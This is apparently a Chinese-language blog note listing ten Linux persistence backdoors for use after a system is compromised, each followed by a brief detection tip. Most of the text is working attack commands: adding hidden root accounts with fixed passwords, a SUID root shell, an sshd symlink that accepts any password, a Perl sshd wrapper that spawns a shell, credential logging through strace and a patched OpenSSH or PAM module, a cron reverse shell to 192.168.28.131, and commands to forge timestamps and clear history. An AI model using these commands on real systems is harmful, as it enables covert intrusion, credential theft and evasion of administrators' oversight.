Linux下常見的許可權維持方式
- 2020 年 3 月 12 日
- 筆記
攻擊者在獲取系統許可權後,通常會留下後門以便再次訪問。本文將對Linux下常見的許可權維持技術進行解析,知己知彼百戰不殆。
相關文章:Linux下的幾種隱藏技術
1、一句話添加用戶和密碼
添加普通用戶:
# 創建一個用戶名guest,密碼123456的普通用戶useradd -p `openssl passwd -1 -salt 'salt' 123456` guest # useradd -p 方法 ` ` 是用來存放可執行的系統命令,"$()"也可以存放命令執行語句useradd -p "$(openssl passwd -1 123456)" guest # chpasswd方法useradd guest;echo 'guest:123456'|chpasswd # echo -e方法useradd test;echo -e "123456n123456n" |passwd test
添加root用戶:
# 創建一個用戶名guest,密碼123456的root用戶useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
可疑用戶排查技巧:
# 查詢特權用戶特權用戶(uid 為0)[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd# 查詢可以遠程登錄的帳號資訊[root@localhost ~]# awk '/$1|$6/{print $1}' /etc/shadow# 除root帳號外,其他帳號是否存在sudo許可權。如非管理需要,普通帳號應刪除sudo許可權[root@localhost ~]# more /etc/sudoers | grep -v "^#|^$" | grep "ALL=(ALL)"
2、SUID Shell
Suid shell是一種可用於以擁有者許可權運行的shell。
# 配合普通用戶許可權使用cp /bin/bash /tmp/shellchmod u+s /tmp/shell
使用guest用戶登錄就可疑獲取root許可權。
備註:bash2針對suid做了一些防護措施,需要使用-p參數來獲取一個root shell。另外,普通用戶執行這個SUID shell時,一定要使用全路徑。
排查技巧:
# 在Linux中查找SUID設置的文件find . -perm /4000# 在Linux中查找使用SGID設置的文件find . -perm /2000# 取消s許可權chmod u-s /tmp/shell
3、ssh公私鑰免密登錄
在客戶端上生成一對公私鑰,然後把公鑰放到伺服器上(~/.ssh/authorized_keys),保留私鑰。當ssh登錄時,ssh程式會發送私鑰去和伺服器上的公鑰做匹配。如果匹配成功就可以登錄了。
客戶端:
ssh-keygen -t rsa
過程中按三次回車,執行結束如下圖:
進入/root/.ssh/文件夾,查看文件夾的內容,如下所示:
其中 id_rsa
為私鑰,id_rsa.pub
為公鑰,接下來打開id_rsa.pub
,將內容複製到伺服器。將id_rsa.pub
的內容追加到/root/.ssh/authorized_keys
內,配置完成。
排查技巧:
查看/root/.ssh/authorized_keys是否被修改。
4、軟連接
在sshd服務配置運行PAM認證的前提下,PAM配置文件中控制標誌為sufficient時只要pam_rootok模組檢測uid為0即root許可權即可成功認證登陸。通過軟連接的方式,實質上PAM認證是通過軟連接的文件名 /tmp/su
在/etc/pam.d/
目錄下尋找對應的PAM配置文件(如: /etc/pam.d/su),任意密碼登陸的核心是auth sufficient pam_rootok.so
,所以只要PAM配置文件中包含此配置即可SSH任意密碼登陸,除了su中之外還有chsh、chfn同樣可以。
在目標伺服器上執行一句話後門:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
執行完之後,任何一台機器ssh root@IP -p 8888
,輸入任意密碼,成功登錄。
排查技巧:進程、埠都可以發現異常, kill -s 9 PID 結束進程即可清除後門。
5、SSH wrapper
init首先啟動的是/usr/sbin/sshd,腳本執行到getpeername這裡的時候,正則匹配會失敗,於是執行下一句,啟動/usr/bin/sshd,這是原始sshd。原始的sshd監聽埠建立了tcp連接後,會fork一個子進程處理具體工作。這個子進程,沒有什麼檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了。此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源埠,如果是19526就執行sh給個shell。
服務端:
cd /usr/sbin/mv sshd ../bin/echo '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshdecho 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd/etc/init.d/sshd restart
客戶端:
socat STDIO TCP4:target_ip:22,sourceport=13377
排查技巧:
ls -al /usr/sbin/sshdcat /usr/sbin/sshd# 可通過重裝ssh服務恢復。
6、strace後門
通過命令替換動態跟蹤系統調用和數據,可以用來記錄用戶ssh、su、sudo的操作。
#vim /etc/bashrcalias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'# source /root/.bashrc
排查技巧:使用alias
即可發現異常。
7、crontab反彈shell
crontab命令用於設置周期性被執行的指令。新建shell腳本,利用腳本進行反彈。
a、創建shell腳本,例如在/etc/evil.sh
#!/bin/bashbash -i >& /dev/tcp/192.168.28.131/12345 0>&1chmod +sx /etc/evil.sh
b、crontab -e 設置定時任務
#每一分鐘執行一次*/1 * * * * root /etc/evil.sh
重啟crond服務,service crond restart
,然後就可以用nc接收shell。
排查技巧:
# 查看可疑的定時任務列表crontab -e
8、openssh後門
利用openssh後門,設置SSH後門密碼及root密碼記錄位置,隱蔽性較強,不易被發現。
a、備份SSH配置文件mv /etc/ssh/ssh_config /etc/ssh/ssh_config.oldmv /etc/ssh/sshd_config /etc/ssh/sshd_config.old b、解壓並安裝修補程式tar zxf openssh-5.9p1.tar.gztar zxf openssh-5.9p1.tar.gzcp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1cd openssh-5.9p1patch < sshbd5.9p1.diff c、記錄用戶名和密碼的文件位置及其密碼vi includes.h #define ILOG "/tmp/1.txt" //記錄登錄本機的用戶名和密碼 #define OLOG "/tmp/2.txt" //記錄本機登錄遠程的用戶名和密碼 #define SECRETPW "123456789" //後門的密碼 d、修改版本資訊vi version.h #define SSH_VERSION "填入之前記下來的版本號,偽裝原版本" #define SSH_PORTABLE "小版本號" e、安裝並編譯./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5make cleanmake && make installservice sshd restart f、對比原來的配置文件,使配置文件一致,然後修改文件日期。 touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_configtouch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config g、清除操作記錄export HISTFILE=/dev/nullexport HISTSIZE=0echo >/root/.bash_history //清空操作日誌
排查技巧:利用strace找出ssh後門.
# 1、獲取可疑進程PIps aux | grep sshd# 2、跟蹤sshd PIDstrace -o aa -ff -p PID# 3、查看記錄密碼打開文件grep open sshd* | grep -v -e No -e null -e denied| grep WR
9、PAM後門
PAM (Pluggable Authentication Modules )是由Sun提出的一種認證機制。它通過提供一些動態鏈接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程式,同時也便於向系統中添加新的認證手段。PAM最初是集成在Solaris中,目前已移植到其它系統中,如Linux、SunOS、HP-UX 9.0等。
利用方法:
1、獲取目標系統所使用的PAM版本,下載對應版本的pam版本2、解壓縮,修改pam_unix_auth.c文件,添加萬能密碼3、編譯安裝PAM4、編譯完後的文件在:modules/pam_unix/.libs/pam_unix.so,複製到/lib64/security中進行替換,即可使用萬能密碼登陸,並將用戶名密碼記錄到文件中。
排查技巧:
# 1、通過Strace跟蹤sshps axu | grep sshdstrace -o aa -ff -p PIDgrep open aa* | grep -v -e No -e null -e denied| grep WR# 2、檢查pam_unix.so的修改時間stat /lib/security/pam_unix.so #32位stat /lib64/security/pam_unix.so #64位
10、rookit後門
Mafix是一款常用的輕量應用級別Rootkits,是通過偽造ssh協議漏洞實現遠程登陸的特點是配置簡單並可以自定義驗證密碼和埠號。
利用方法:安裝完成後,使用ssh 用戶@IP -P 配置的埠,即可遠程登錄。
連接後的截圖:
排查技巧:查看埠是否異常,RPM check查看命令是否被替換。